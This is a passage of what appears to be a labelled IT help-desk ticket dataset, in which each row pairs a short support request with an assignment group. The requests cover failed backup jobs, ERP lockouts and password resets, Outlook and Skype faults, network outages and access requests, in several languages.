+[cid:image001.jpg@01d22de9.0bb3fa60] [cid:image004.png@01d22dea.7d33a720] + + +best ",GRP_43 +"error login on to the SID_34 system. error login on to the SID_34 system._x000D_ +-verified user details.(employee# & manager name)_x000D_ +-user has tried the password_management_tool pwd manager._x000D_ +-unlocked and reset the erp id to""daypay3""._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +"office excel ,powerpoint 打开一些文件时提示错误。 office excel ,powerpoint 打开一些文件时提示错误，电脑和邮件里面一些文件无法打开。",GRP_31 +"job hr_payroll_na_u1 failed in job_scheduler at: 10/23/2016 23:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job hr_payroll_na_u1 failed in job_scheduler at: 10/23/2016 23:00:00",GRP_10 +"job hr_payroll_na_u6 failed in job_scheduler at: 10/23/2016 23:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job hr_payroll_na_u6 failed in job_scheduler at: 10/23/2016 23:00:00",GRP_10 +"job hr_payroll_na_u2 failed in job_scheduler at: 10/23/2016 23:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job hr_payroll_na_u2 failed in job_scheduler at: 10/23/2016 23:00:00",GRP_10 +"unable to access outlook + +received from: rxoynvgi.ntgdsehl@gmail.com + +hi it team + +kindly please assist as user tahamt unable to access outlook after he change his password. + +thry ldikdowdfm +operation supervisor +company distribution services of asia pte ltd +email : rxoynvgi.ntgdsehl@gmail.com",GRP_0 +please delete following these session created by tomyh678oen. please delete following these session created by tomyh678oen.,GRP_44 +when you look up price and availability local availability is zero and you can not see the global availability see attachment. ,GRP_40 +"inquiry on impact awards from: wauhocsk vxuikqaf +sent: sunday, october 23, 2016 9:28 pm +to: nwfodmhc exurcwkm +cc: lxrponic lyszwcxg; ranlpbmw djwkylif +subject: fw: impact awards + +dear sirs + +please be so kind and help. + +i have been asking hr but they told me that you are the right people to talk to + +there have been done change on the position of director sales theeadjjd and we + +when sales managers from theeadjjd direct side are plugging in impact award points – the approver is still ranlpbmw djwkylif (should be wauhocsk vxuikqaf) + +and i guess same issue might be with we (wester europe (there was a change of sales director as well) + +we – original sd – crohuani dtjvhyob +we – new sd – ranlpbmw djwkylif + +eseer – original sd – ranlpbmw djwkylif +eseer – new sd – wauhocsk vxuikqaf + +would you be so kind and help us please ? + +in case you need more info – let me know +",GRP_0 +"please provide access for mails in my mobile phone. from: fdbgoamk hygxzklauthuchidambaramdnty _x000D_ +sent: sunday, october 23, 2016 10:50 pm_x000D_ +to: nwfodmhc exurcwkm_x000D_ +subject: fw: your mobile device is temporarily blocked from synchronizing using exchange activesync until your administrator usas it access._x000D_ +_x000D_ +please provide access for mails in my mobile phone. _x000D_ +_x000D_ +",GRP_0 +"job bkbackup_tool_csqe_dev_inc failed in job_scheduler at: 10/23/2016 18:10:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bkbackup_tool_csqe_dev_inc failed in job_scheduler at: 10/23/2016 18:10:00",GRP_5 +"job bkbackup_tool_HostName_771_prod_inc failed in job_scheduler at: 10/23/2016 17:59:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bkbackup_tool_HostName_771_prod_inc failed in job_scheduler at: 10/23/2016 17:59:00",GRP_5 +"job Job_450 failed in job_scheduler at: 10/23/2016 17:59:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_450 failed in job_scheduler at: 10/23/2016 17:59:00",GRP_5 +"job bkbackup_tool_HostName_768_prod_inc failed in job_scheduler at: 10/23/2016 17:59:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bkbackup_tool_HostName_768_prod_inc failed in job_scheduler at: 10/23/2016 17:59:00",GRP_5 +"job bkbackup_tool_HostName_920_prod_inc failed in job_scheduler at: 10/23/2016 17:59:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bkbackup_tool_HostName_920_prod_inc failed in job_scheduler at: 10/23/2016 17:59:00",GRP_5 +"job Job_2114 failed in job_scheduler at: 10/23/2016 17:32:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2114 failed in job_scheduler at: 10/23/2016 17:32:00",GRP_9 +interface: gigabitethernet0/2 · usa-2950-access-sw02 on usa-2950-core-sw02 is down since 10/23/2016 3:52 pm interface: gigabitethernet0/2 · usa-2950-access-sw02 on usa-2950-core-sw02 is down since 10/23/2016 3:52 pm,GRP_4 +"outlook 365 + +received from: oetlgbfw.bsctrnwp@gmail.com + +my outlook 365 is not working +please see if you can fix + +thsadyu dwwlhews +sales manager gl2 +oetlgbfw.bsctrnwp@gmail.com",GRP_0 +"job Job_504 failed in job_scheduler at: 10/23/2016 13:51:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_504 failed in job_scheduler at: 10/23/2016 13:51:00",GRP_8 +"job Job_1422 failed in job_scheduler at: 10/23/2016 13:20:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1422 failed in job_scheduler at: 10/23/2016 13:20:00",GRP_6 +HostName_587: germany server is down since 11:01 am et on 10/23. HostName_587: germany server is down since 11:01 am et on 10/23.,GRP_12 +call came and there was only music and nothing else call came and there was only music and nothing else,GRP_0 +blank call // loud noise blank call // loud noise,GRP_0 +"erp password reset + +received from: skmdgnuh.utgclesd@gmail.com + +hi, + +require to reset erp password. + +login id:anantadth67 + + +with warm ",GRP_0 +call came and got disconnected call came and got disconnected,GRP_0 +"job bwhrerattr failed in job_scheduler at: 10/23/2016 06:06:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bwhrerattr failed in job_scheduler at: 10/23/2016 06:06:00",GRP_9 +"job Job_727 failed in job_scheduler at: 10/23/2016 02:50:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_727 failed in job_scheduler at: 10/23/2016 02:50:00",GRP_8 +"HostName_1013 does not come up after weekly reboot HostName_1013 does not come up after weekly reboot. + +note that recently there was a hdd and power supply replaced on this server. + +c:\users\karashsnnsb>ping HostName_1013 + +pinging HostName_1013.company.company.com [29.21.92.849] with 32 bytes of data: +request timed out. +request timed out. +request timed out. +request timed out. + +ping statistics for 29.21.92.849: + packets: sent = 4, received = 0, lost = 4 (100% loss), + +c:\users\karashsnnsb> + + +",GRP_12 +"job bk_hana_SID_22_os_wly_dp failed in job_scheduler at: 10/23/2016 01:59:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bk_hana_SID_22_os_wly_dp failed in job_scheduler at: 10/23/2016 01:59:00",GRP_8 +"job Job_3097 failed in job_scheduler at: 10/23/2016 01:50:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3097 failed in job_scheduler at: 10/23/2016 01:50:00",GRP_6 +"job Job_3096 failed in job_scheduler at: 10/23/2016 00:15:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3096 failed in job_scheduler at: 10/23/2016 00:15:00",GRP_6 +"job Job_3074 failed in job_scheduler at: 10/23/2016 00:15:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3074 failed in job_scheduler at: 10/23/2016 00:15:00",GRP_6 +"job Job_3076 failed in job_scheduler at: 10/23/2016 00:15:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3076 failed in job_scheduler at: 10/23/2016 00:15:00",GRP_6 +"job SID_37cold failed in job_scheduler at: 10/23/2016 00:12:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_37cold failed in job_scheduler at: 10/23/2016 00:12:00",GRP_5 +"job bkbackup_tool_sql_prod_full failed in job_scheduler at: 10/23/2016 00:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bkbackup_tool_sql_prod_full failed in job_scheduler at: 10/23/2016 00:02:00",GRP_8 +erp SID_34 account locked erp SID_34 account locked,GRP_0 +"job bk_hana_SID_62_erp_wly_dp failed in job_scheduler at: 10/22/2016 23:03:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bk_hana_SID_62_erp_wly_dp failed in job_scheduler at: 10/22/2016 23:03:00",GRP_8 +switch down - apac-company-rpmwh-2960s-access-sw01 located at apac is down since 10/22/2016 7:47 pm switch down - apac-company-rpmwh-2960s-access-sw01 located at apac is down since 10/22/2016 7:47 pm,GRP_8 +inquiry on expense report-erp inquiry on expense report-erp,GRP_0 +"job bkbackup_tool_powder_prod_full failed in job_scheduler at: 10/22/2016 18:33:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bkbackup_tool_powder_prod_full failed in job_scheduler at: 10/22/2016 18:33:00",GRP_8 +"job bkbackup_tool_powder_prod_full failed in job_scheduler at: 10/22/2016 18:33:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bkbackup_tool_powder_prod_full failed in job_scheduler at: 10/22/2016 18:33:00",GRP_8 +"job Job_480 failed in job_scheduler at: 10/22/2016 17:03:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_480 failed in job_scheduler at: 10/22/2016 17:03:00",GRP_5 +"job bkbackup_tool_sql_prod_full failed in job_scheduler at: 10/22/2016 17:04:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bkbackup_tool_sql_prod_full failed in job_scheduler at: 10/22/2016 17:04:00",GRP_5 +"job Job_466 failed in job_scheduler at: 10/22/2016 17:03:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_466 failed in job_scheduler at: 10/22/2016 17:03:00",GRP_5 +"job Job_482 failed in job_scheduler at: 10/22/2016 17:03:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_482 failed in job_scheduler at: 10/22/2016 17:03:00",GRP_5 +"job bkbackup_tool_o365_primary_prod_full failed in job_scheduler at: 10/22/2016 17:03:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bkbackup_tool_o365_primary_prod_full failed in job_scheduler at: 10/22/2016 17:03:00",GRP_5 +"job Job_581 failed in job_scheduler at: 10/22/2016 16:33:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_581 failed in job_scheduler at: 10/22/2016 16:33:00",GRP_5 +HostName_804: c:\ disk volume is over 85% space consumed. HostName_804: c:\ disk volume is over 85% space consumed.. space available: 4.4 g,GRP_12 +"job bwdpmbkp failed in job_scheduler at: 10/22/2016 12:58:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bwdpmbkp failed in job_scheduler at: 10/22/2016 12:58:00",GRP_9 +"HostName_1345 server is offline _x000D_ +_x000D_ +received from: hpqjaory.gfrwmije@gmail.com_x000D_ +_x000D_ +we are experiencing an interruption in our systems involved with server HostName_1345._x000D_ +most of the network printers are not operational due to this problem._x000D_ +_x000D_ +please advise._x000D_ +_x000D_ +_x000D_ +best ",GRP_4 +"network outage : south_amerirtca ktthasb site is hard dwon since 11:52 am on 21/10 et what type of outage: __x___network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? _____no____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? __11:52 am on 21/10 et ____________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? _______ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? _______ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ______ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ________ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +account unlock account unlock,GRP_0 +"the terminate action for kmzucxgq vjzfocgt has completed. from: +sent: saturday, october 22, 2016 6:29 pm +to: nwfodmhc exurcwkm +subject: the terminate action for kmzucxgq vjzfocgt has completed. + +hello , + +a termination for kmzucxgq vjzfocgt, 2s76891111595, effective 83.69.48.194 has been approved. + +",GRP_2 +"problems with the data model in excel + +received from: bwfhtumx.japznrvb@gmail.com + +i cannot get the data model to work in my excel + +[cid:image001.jpg@01d22c57.57e6dc10] + +[cid:image002.jpg@01d22c57.57e6dc10] + +bwfhtumx japznrvb +regional controller +bwfhtumx.japznrvb@gmail.com +",GRP_0 +password reset password reset,GRP_0 +"job Job_500 failed in job_scheduler at: 10/22/2016 06:08:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_500 failed in job_scheduler at: 10/22/2016 06:08:00",GRP_8 +"job Job_1422 failed in job_scheduler at: 10/22/2016 05:39:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1422 failed in job_scheduler at: 10/22/2016 05:39:00",GRP_6 +"job Job_593 failed in job_scheduler at: 10/22/2016 04:20:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_593 failed in job_scheduler at: 10/22/2016 04:20:00",GRP_8 +"power outage : engineering_toolkuznetsk warehouse, russia - (company) network is down since 2:48am et on 10/22/16 what type of outage: ___x__network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ________2:48am et on 10/22/16______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___no____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___no___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___no_____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? _____na______ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? _____no______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"job bkwin_infonet1_full failed in job_scheduler at: 10/22/2016 01:42:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bkwin_infonet1_full failed in job_scheduler at: 10/22/2016 01:42:00",GRP_8 +"outlook not working _x000D_ +_x000D_ +received from: dceoufyz.saufqkmd@gmail.com_x000D_ +_x000D_ +hello_x000D_ +_x000D_ +my outlook app on my laptop isn't opening._x000D_ +_x000D_ +",GRP_0 +HostName_1345 server: beeping sound in the server HostName_1345 server beeping sound in the server,GRP_0 +ticket update on ticket_no0451791 ticket update on ticket_no0451791,GRP_0 +"usa - (company):company-na-usa-usa-2950-core-sw02 went down at 5:51 pm et on 10/21. usa - (company):company-na-usa-usa-2950-core-sw02 went down at 5:51 pm et on 10/21._x000D_ +gigabitethernet0/2 interface down on company-na-usa-usa-2950-core-sw02 ._x000D_ +company-na-usa-usa-2950-access-sw01 went down at 7:44 pm et on 10/21,gigabitethernet1/1/4 interface down ",GRP_8 +"circuit outage:usa pa, company-ctc-dr-vpn-rtr.company.com went down at 6:10 pm et on 10/21. what type of outage: _____network _x____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____yes_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _____ 6:10 pm et on 10/21_________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? _______ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? _______ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __yes____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___yes_____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"after my bios was update, i can no longer log in to erp i get an error every time that i try to log into erp i get a log balancing error 88. could not connect to message server",GRP_0 +unable to connect to erp unable to connect to erp ,GRP_0 +unable to access etime through ie password prompt resulting in an unauthorized access error.,GRP_0 +"HostName_1325 has a drive that is flashing yellow. message display is also flashing on and off, although it has no error. please check HostName_1325 (shop_floor_app server) drive for possible problems. one of the drives is flashing yellow.",GRP_0 +"usa and usa - perhaps other sites as well. outlook refusing to send reply emails. usa and usa - perhaps other sites as well. many users - outlook refusing to send reply emails. a new email will send, but a reply will stall and outlook freezes with a not reponding error. this appears to be happening only with office 2010, i personally am using office 2016. got many complaints from usa and complaints from usa mi as well. suspect a systemic problem company wide. ",GRP_26 +"access denied : access denied : collaboration_platform + + + +check screenshots in email attachment. + +could you please reviewing the alejayhsdtffndro's profile on collaboration_platform? in the functions menu, alejayhsdtffndro chose the finance option but receive the message ""access denied"". alejayhsdtffndro's is controller in mexico. please see the screenshots below: + +",GRP_16 +jpg files encrypted jpg files encrypted ,GRP_0 +"reset password + +received from: bihfazru.bhjqvtzm@gmail.com + +hello, i locked myself out of erp. can you reset my password? + +thesdf sdlwfkvach +production supervisor +bihfazru.bhjqvtzm@gmail.com + +[cid:image003.jpg@01cfcb3e.29ec32f0] + +",GRP_0 +"terminated employees + +received from: tsicojkp.kghaozew@gmail.com + +there is an employee that has been terminated 9/30/16 who still has access to company email on his personal device, aylrbosw gaeycbwd. + +tsicojkp kghaozew +commodity manager +tsicojkp.kghaozew@gmail.com + + + +",GRP_0 +outlook not working outlook not working,GRP_0 +unlocked and reset erp SID_1 unlocked and reset erp SID_1,GRP_0 +"company center not pulling replacement item company center is not pulling replacement items when they are available. _x000D_ +material 3976391 in company center is a pre-obsolete with replacement - the diaolog box is not displaying the replacement - vb13 is populated mm# 6984824_x000D_ +.",GRP_13 +vip 1: erp account locked for user janhduh keehad8fvkgaalen vip 1: erp account locked for user janhduh keehad8fvkgaalen,GRP_0 +outlook freezing for all users outlook freezing for all users,GRP_4 +"outlook/crm plug in issue + +received from: tskvmwag.awkrdqzb@gmail.com + +hello, +crm plug in buttons are not staying checked when i close outlook. i lose the crm function in my outlook when i close the programdnty. +please see attached screen shot. + + +tskvmwag awkrdqzb +sr. sales engineer nc3 +north central region +tskvmwag.awkrdqzb@gmail.com + +",GRP_0 +"printer prtqx4580 won't print for anyone in our office. _x000D_ +_x000D_ +received from: gqkedvzu.czoniyra@gmail.com_x000D_ +_x000D_ +",GRP_3 +"password error in erp + +received from: ivohcdpw.ixcanwbm@gmail.com + +dear sir, + +please help me in erp login . + +user id -dwivethn677 + + +with best ",GRP_0 +"business partner id - bertsckaadyd122 + +received from: inxsupmy.zhwmifvx@gmail.com + +hello team, + +can you please create a business partner id for – bertsckaadyd122 in solution manager . + +inxsupmy zhwmifvx +team lead - (sourcing & logistics) - global it +inxsupmy.zhwmifvx@gmail.com + + + + + +",GRP_2 +missed call missed call,GRP_0 +id 04637 id 04637 printer have paper stuck up issue.,GRP_19 +"ms outlook network error messages when searching in inbox the following message is received due to current network conditions, some results may not be included in your search",GRP_0 +skype error while logging in skype error while logging in ,GRP_0 +"erp access issue system (SID_34, SID_37, SID_39, SID_38, hrp, other ?): SID_34 + +enter user id of user having the issue: moranm + +transaction code(s) the user needs or was working with: cv04n + +describe the issue: + +csr mdwydindy mwdlkloran currently does not have access to view drawings. please upgrade her access as this is a necessary requirement for all csrs on the company team. + +provide access the same as this other user: yrlsguzk fasyiokl",GRP_2 +unable to open .xml files on the computer unable to open .xml files on the computer,GRP_3 +"skype problem + +received from: gdnwlkit.jokidavy@gmail.com + +yesterday i had some problems with outlook after a password change. the problem was crm. a new version was loaded and i thought my troubles were over +now, my skype for business is not working and i could not join an important meeting this morning. a copy of the skype screen is below. is the sign-in address correct? if not, what should it be. have emailed this because the telephone help line hangs up on you as soon as you select a number to direct the call. + + + +[cid:image001.jpg@01d22b77.b8773b50] + +tjwdhwdw tdlwdkunis +senior sales engineer team +gdnwlkit.jokidavy@gmail.com + +",GRP_0 +"help line phone problem + +received from: gdnwlkit.jokidavy@gmail.com + +please note. when dialing into the help line, as soon as you make a selection (1,2, or 3) it hangs up on you , terminating the call. + +tjwdhwdw tdlwdkunis +senior sales engineer teamgdnwlkit.jokidavy@gmail.com + +",GRP_0 +"skype _x000D_ +_x000D_ +received from: yiramdntyjqc.qtrcepsa@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +i am having trouble accessing skype. i keep getting cut-off when i select from the phone menu. hope this gets through._x000D_ +",GRP_0 +"my pc don`t work with wifi _x000D_ +i have wifi, but my computer does not work with wifi only works with telecom_vendor_4, telecom_vendor_4 it is a gsm suplier with g4",GRP_0 +blank call blank call,GRP_0 +"information on previous tickets name:slrgconp onukdesq +language: +browser:microsoft internet explorer +email:slrgconp.onukdesq@gmail.com +customer number: +telephone: +summary:i opened a ticket this morning. who is it assigned to",GRP_0 +"email address in purchasing from: dpuifqeo eglwsfkn +sent: friday, october 21, 2016 6:19 pm +to: nwfodmhc exurcwkm; shkdwd dlwdwd +cc: dfetvmzq brxavtzp +subject: re: purchasing dfetvmzq brxavtzp + +the email address on this profile is incorrect – please change to dfetvmzq.brxavtzp@gmail.com +also need to add the company catalog to her profile + +",GRP_2 +"reset the password for jgxmafwk mlroijfp on erp / production / hcm i am new to erp and have had no training at all._x000D_ +would you please call me and walk me through login? or at least verify my login name and password? please and ",GRP_0 +blank call blank call,GRP_0 +"outlook indexing error _x000D_ +_x000D_ +received from: egjwxhlo.weofysln@gmail.com_x000D_ +_x000D_ +hello team,_x000D_ +i used to be able to see what i search in outlook within pdf attachments, but after the upgrade i cannot search within pdf attachment in my mailbox._x000D_ +can you please advise?_x000D_ +_x000D_ +",GRP_0 +erp SID_34 erp production password reset erp SID_34 erp production password reset,GRP_0 +"ethics login error when i try to login to ethics training, i click on the log in from the collaboration_platform site, it takes me to the page to select language, i click on engilsh. then i get an error that says the page failed to load.",GRP_0 +"old ticket no.inc1553707. usa access for configuring outlook exchange on windows phone usa access for configuring outlook exchange on windows phone. approval is attached with this ticket._x000D_ +_x000D_ +",GRP_0 +interface: gigabitethernet1/0/40 ·shopfloor_111_schuette_01 on company-eu-deu-germany-emsw03-2960s-access-sw03 is down gigabitethernet1/0/40 · shopfloor_111_schuette_01 on company-eu-deu-germany-emsw03-2960s-access-sw03 is down since ,GRP_8 +"reset passwords for qkgnwxto dwtivjrp using password_management_tool password reset. cannot log into hiatchi password manager, to change to new password.",GRP_17 +password reset request. password reset request.,GRP_0 +my external monitor will not come on this morning. my external monitor will not come on this morning.,GRP_3 +"delivery issue _x000D_ +_x000D_ +received from: acmglkti.cwgxrabu@gmail.com_x000D_ +_x000D_ +good morning_x000D_ +_x000D_ +we have urgent need for assistance as customer is awaiting parts for mm#7233365, please give this matheywter a high priority_x000D_ +_x000D_ +however,_x000D_ +_x000D_ +we have experienced a glitch in creating delivery for sales order#35045813. the delivery #9169662470 created for 0 pcs., there is balance due of 195 pcs. , but we can not change delivery quantity nor can we delete delivery. we did not pgi the delivery when created, and the delivery is still showing in md04, but when we try to make changes there is an error that the delivery has been posted. we have tried to unpost (vl19) delivery but we are getting message stating that delivery has already been inwarehouse_toold, but in all reality the delivery is frozen in erp and no changes can be made._x000D_ +_x000D_ +",GRP_18 +company.com not working : dns issue company.com not working : dns issue ,GRP_0 +customer catalogue and collaboration_tool is not working. customer catalogue and collaboration_tool is not working.,GRP_0 +"unable to call in _x000D_ +_x000D_ +received from: lomzfqns.htznsgdf@gmail.com_x000D_ +_x000D_ +fyi..._x000D_ +_x000D_ +tried calling in this morning. no matheywter which option i select, i'm immediately disconnected._x000D_ +_x000D_ +",GRP_0 +"access to netweaver + +received from: fgljepar.xpsarwiz@gmail.com + +good morning, +please give yhrdw hdld3geman access to netweaver. +questions? +thanx123, +jwbsdd2 ddmefoche +sr. applications engineer + +fgljepar.xpsarwiz@gmail.com + +",GRP_0 +"lean tracker issues + +received from: vtwxaefm.ljisafue@gmail.com + +hello , +i am getting error when trying to create a new lean tracker number. attached the screenshot of the error. +need your help to resolve it. + +[cid:image002.jpg@01d22bc1.3d0d9af0] + +",GRP_0 +shared mailbox not updating activities shared mailbox not updating activities,GRP_0 +"i cannot get into my computer, get an error no ip address i cannot get into my computer, get an error no ip address",GRP_3 +account locked in erp SID_34 account locked in erp SID_34,GRP_0 +would you please reset my erp hcm password? i'm locked out of it..thanks! would you please reset my erp hcm password? i'm locked out of it..,GRP_0 +outlook and skype not responding. outlook and skype not responding.,GRP_0 +drucker in löwe uacyltoe hxgayczeraum knicrhtyt papier \dtlmbcrx mwuateyx drucker in löwe uacyltoe hxgayczeraum knicrhtyt papier \dtlmbcrx mwuateyx,GRP_24 +"benötige zugriff auf schichtplaner bitte zugriff auf folgenden pfad einrichten: departments (\\HostName_737)(m:) --> programdntyme --> schichtplaner + +user: freybtrhsdl ",GRP_34 +HostName_113: plm plot / view (production_order_interface_app) rfcserver.exe process count(critical) HostName_113: plm plot / view (production_order_interface_app) rfcserver.exe process count(critical),GRP_14 +password no more valid. new password to access to erp SID_34 erp production password no more valid. new password to access to erp SID_34 erp production,GRP_0 +reinstall hardcopy und EU_tool \lndypaqg dhqwtcsr reinstall hardcopy und EU_tool \lndypaqg dhqwtcsr,GRP_24 +"help to install erp in computer lpawhdt8515494 hi team, + +could you please, help me to reinstall erp 7.40 in computer the an user. + +computer: lpawhdt8515494 + +please contatc me, if you have more doubt. + +tnks +",GRP_0 +" expedite mm3516492 mm2405383 hi，team +pls. help to run out dn against sto#5019358024, 3516494*37pcs,customer need them urgently~ +thx a lot! + +b.rgds +wswdd.djdwol +company hardpoint apacc + +",GRP_6 +"we111 gibt nur eine fehlermeldung aus we111 gibt nur eine fehlermeldung aus :_x000D_ +anmelden im netzwerk_x000D_ +registrieren der netzwerkeinstellungen._x000D_ +nicht alle vorgänge können erledigt werden._x000D_ +warten sie einen moment \vzqomdgt jwoqbuml",GRP_24 +"pc slow my pc is responding slow. can the pc team please check to speed it up further._x000D_ +i am looking for disk fragmentation or similar type of activity which will help pc perform its activitiess faster.",GRP_0 +"job Job_593 failed in job_scheduler at: 10/21/2016 05:25:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_593 failed in job_scheduler at: 10/21/2016 05:25:00",GRP_8 +trigger loads for bw - fill rate recovery-kba for oct 19th 2016 trigger loads for bw - fill rate recovery-kba for oct 19th 2016,GRP_9 +lable drucker funktioniert nicht lable drucker in der endkontrolle defense gibt keine etiketten aus,GRP_33 +"job bk_biaprod failed in job_scheduler at: 10/21/2016 05:12:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bk_biaprod failed in job_scheduler at: 10/21/2016 05:12:00",GRP_8 +rechner für längenmessmaschine uacyltoe hxgayczeen \xosdfhbu gtbfkisl rechner für längenmessmaschine uacyltoe hxgayczeen \xosdfhbu gtbfkisl,GRP_24 +"pc name + +received from: koahsriq.wdugqatr@gmail.com + +hello, +we need a new pc name +service tag of the pc is +fy80nkssc2 + +с уважением, +евгения. + + +koahsriq wdugqatr, +administrative assistant. +koahsriq.wdugqatr@gmail.com + +company ooo | vavilova 5, corp.3 | russia, 119334 russia | www.company.com< + +",GRP_28 +" delivery unable to ship out delivery please provide the following: + +what order number? customer order nor. 35946436 + +what material or item number? item 10 mm 4846674 + +what warehouse location? plant_108 + +issue description / error message? the delivery quantety is 33 the picked quantety is 31 delivery note is booked but system says delivery is not picked yet +can not cancel... please help ",GRP_13 +"pw reset for erp - user name: pihddltzr123 + +received from: iboltufk.ezfnvcqp@gmail.com + +erp SID_34 account has been not unlocked successfully – pw reset for erp - user name: pihddltzr123 + +""hi , + +unlocked the erp SID_34 account +please login with same password. -> not working !!!!! + +",GRP_0 +kabel lan 10m liefern \gogtyekhan merdivan kabel lan 10m liefern \gogtyekhan merdivan,GRP_24 +netweaver cannot use it because of missing plugin,GRP_0 +"erp SID_34 response time too slow, transactions are being interrupted and erp connection is broken constantly transactions are interrupted and erp connection is broken, constantly",GRP_0 +"please release access to \\HostName_705\teams\werkleitunggermany _x000D_ +_x000D_ +received from: byclpwmv.esafrtbh@gmail.com_x000D_ +_x000D_ +[cid:image001.jpg@01d22b85.01e698a0]_x000D_ +_x000D_ +mit freundlichen grüßen / best ",GRP_33 +"pls release access to \\HostName_705\lean\ _x000D_ +_x000D_ +received from: byclpwmv.esafrtbh@gmail.com_x000D_ +_x000D_ +[cid:image001.jpg@01d22b84.b25aac90]_x000D_ +_x000D_ +mit freundlichen grüßen / best ",GRP_0 +"reminder email notification keeps on sending for the approved pr _x000D_ +_x000D_ +received from: izwtdnfq.xptuoaid@gmail.com_x000D_ +_x000D_ +hi it team,_x000D_ +_x000D_ +i have still received the email notification reminder to approve 2 prs daily for the ones which i have already approved and there are no any pending prs left to approve in me55. also, pos have been raised by purchasing team._x000D_ +_x000D_ +kindly review the system and fix for me. ",GRP_29 +"slow erp + +received from: tejahd.easdwmdwrappa@company.com + +help, + +erp is very slow with disconnections. please resolve at the earliest. + +",GRP_0 +"erp slow down. few locations impacted, at least 